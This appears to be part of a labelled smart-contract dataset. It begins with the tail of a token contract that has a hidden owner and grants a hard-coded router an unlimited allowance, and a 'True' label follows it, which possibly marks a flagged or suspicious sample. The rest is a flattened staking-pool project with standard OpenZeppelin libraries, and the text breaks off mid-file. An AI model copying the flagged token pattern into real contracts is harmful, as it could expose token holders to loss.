function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
True
|
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1
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "./TimeLockPool.sol";
contract TimeLockNonTransferablePool is TimeLockPool {
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration,
uint256 _maxBonus,
uint256 _maxLockDuration
) TimeLockPool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration, _maxBonus, _maxLockDuration) {
}
// disable transfers
function _transfer(address _from, address _to, uint256 _amount) internal override {
revert("NON_TRANSFERABLE");
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./base/BasePool.sol";
import "./interfaces/ITimeLockPool.sol";
contract TimeLockPool is BasePool, ITimeLockPool {
using Math for uint256;
using SafeERC20 for IERC20;
uint256 public immutable maxBonus;
uint256 public immutable maxLockDuration;
uint256 public constant MIN_LOCK_DURATION = 10 minutes;
uint256 public constant MAX_LOCK_DURATION = 36500 days;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration,
uint256 _maxBonus,
uint256 _maxLockDuration
) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) {
require(_maxLockDuration <= MAX_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be less than or equal to maximum lock duration");
require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration");
maxBonus = _maxBonus;
maxLockDuration = _maxLockDuration;
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant {
require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address");
require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0");
// Don't allow locking > maxLockDuration
uint256 duration = _duration.min(maxLockDuration);
// Enforce min lockup duration to prevent flash loan or MEV transaction ordering
duration = duration.max(MIN_LOCK_DURATION);
depositToken.safeTransferFrom(_msgSender(), address(this), _amount);
depositsOf[_receiver].push(Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
}));
uint256 mintAmount = _amount * getMultiplier(duration) / 1e18;
_mint(_receiver, mintAmount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external nonReentrant {
require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address");
require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist");
Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];
require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon");
// No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits
uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18;
// remove Deposit
depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1];
depositsOf[_msgSender()].pop();
// burn pool shares
_burn(_msgSender(), shareAmount);
// return tokens
depositToken.safeTransfer(_receiver, userDeposit.amount);
emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount);
}
function getMultiplier(uint256 _lockDuration) public view returns(uint256) {
return 1e18 + (maxBonus * _lockDuration / maxLockDuration);
}
function getTotalDeposit(address _account) public view returns(uint256) {
uint256 total;
for(uint256 i = 0; i < depositsOf[_account].length; i++) {
total += depositsOf[_account][i].amount;
}
return total;
}
function getDepositsOf(address _account) public view returns(Deposit[] memory) {
return depositsOf[_account];
}
function getDepositsOfLength(address _account) public view returns(uint256) {
return depositsOf[_account].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IBasePool.sol";
import "../interfaces/ITimeLockPool.sol";
import "./AbstractRewards.sol";
import "./TokenSaver.sol";
abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeCast for uint256;
using SafeCast for int256;
IERC20 public immutable depositToken;
IERC20 public immutable rewardToken;
ITimeLockPool public immutable escrowPool;
uint256 public immutable escrowPortion; // how much is escrowed 1e18 == 100%
uint256 public immutable escrowDuration; // escrow duration in seconds
event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount);
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration
) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) {
require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%");
require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set");
depositToken = IERC20(_depositToken);
rewardToken = IERC20(_rewardToken);
escrowPool = ITimeLockPool(_escrowPool);
escrowPortion = _escrowPortion;
escrowDuration = _escrowDuration;
if(_rewardToken != address(0) && _escrowPool != address(0)) {
IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max);
}
}
function _mint(address _account, uint256 _amount) internal virtual override {
super._mint(_account, _amount);
_correctPoints(_account, -(_amount.toInt256()));
}
function _burn(address _account, uint256 _amount) internal virtual override {
super._burn(_account, _amount);
_correctPoints(_account, _amount.toInt256());
}
function _transfer(address _from, address _to, uint256 _value) internal virtual override {
super._transfer(_from, _to, _value);
_correctPointsForTransfer(_from, _to, _value);
}
function distributeRewards(uint256 _amount) external override nonReentrant {
rewardToken.safeTransferFrom(_msgSender(), address(this), _amount);
_distributeRewards(_amount);
}
function claimRewards(address _receiver) external {
uint256 rewardAmount = _prepareCollect(_msgSender());
uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18;
uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount;
if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) {
escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver);
}
// ignore dust
if(nonEscrowedRewardAmount > 1) {
rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount);
}
emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ITimeLockPool {
function deposit(uint256 _amount, uint256 _duration, address _receiver) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-ERC20Permit.sol";
import "../../../utils/math/Math.sol";
import "../../../utils/math/SafeCast.sol";
import "../../../utils/cryptography/ECDSA.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
return _delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
return _delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
